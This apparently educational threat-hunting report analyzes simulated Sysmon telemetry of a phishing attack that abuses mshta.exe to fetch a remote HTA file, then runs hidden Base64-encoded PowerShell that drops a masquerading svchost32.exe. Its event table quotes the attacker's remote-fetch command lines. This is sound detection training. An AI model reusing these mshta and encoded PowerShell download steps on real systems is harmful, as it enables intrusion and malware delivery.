← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Windows MSHTA LOLBIN Remote Payload Execution Dataset

This hunt uses a simulated endpoint telemetry dataset (win_sysmon_mshta_2022-09-11T140000.json) capturing T1218.005: System Binary Proxy Execution (Mshta), where a phishing lure launches mshta.exe to fetch and execute a remote HTA file containing obfuscated VBScript that stages a second-stage payload.

Step 1: Hypothesis Formation

Hypothesis: mshta.exe is spawned with a command line referencing an http:// or https:// URL rather than a local .hta file, spawned by a user-facing application like outlook.exe, winword.exe, or explorer.exe, and shortly followed by a child process spawning powershell.exe or cmd.exe with encoded/obfuscated arguments - indicating HTA-based initial access and staging. Indicators:

Null Hypothesis: An internal, browser-based kiosk or legacy internal web application intentionally uses HTA files hosted on an internal web server for legitimate remote administration. Invalidate by confirming the destination URL against the internal application inventory and change records.

Rationale: mshta.exe is signed and whitelisted in most environments, making it a durable LOLBIN for initial-access phishing payloads; detecting the network-URL argument pattern catches the technique regardless of payload obfuscation.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm l.harmon opened a phishing attachment that launched mshta.exe against a remote HTA URL, which in turn spawned an encoded PowerShell command to download and execute a second-stage payload.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-09-11 14:02:18WKS-HR-009Sysmon Event ID 1winword.exe (from attachment Invoice_4471.doc) spawned mshta.exe http://185.220.101.47/inv.htaInitial-Access IOC: a document handler directly spawning mshta.exe with a remote URL is a textbook phishing-to-HTA execution chain.
2022-09-11 14:02:19WKS-HR-009Sysmon Event ID 3mshta.exe connected to 185.220.101.47:80, retrieved 4.2 KB HTA contentRemote-Fetch IOC: confirms the HTA payload was retrieved live from attacker infrastructure rather than executed from a trusted local path.
2022-09-11 14:02:21WKS-HR-009Sysmon Event ID 1mshta.exe spawned powershell.exe -w hidden -enc JABzAD0ATgBlAHc...Staging IOC: hidden-window PowerShell with Base64-encoded command is the classic mshta-to-PowerShell second-stage pattern.
2022-09-11 14:02:24WKS-HR-009Sysmon Event ID 3Decoded PowerShell connects to 185.220.101.47:443, downloads svchost32.exe to %APPDATA%\Local\TempPayload-Drop IOC: same infrastructure as the initial HTA fetch, confirming a single coordinated attack chain rather than unrelated activity.
2022-09-11 14:03:02WKS-HR-009Sysmon Event ID 1svchost32.exe (masquerading process name, wrong path) executed from %APPDATA%Masquerading IOC: legitimate svchost.exe never runs from a user's AppData folder - a high-confidence execution-stage indicator.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - a phishing attachment triggered mshta.exe to fetch a remote HTA payload, which staged an encoded PowerShell downloader that dropped a masquerading second-stage executable within under a minute of the initial click!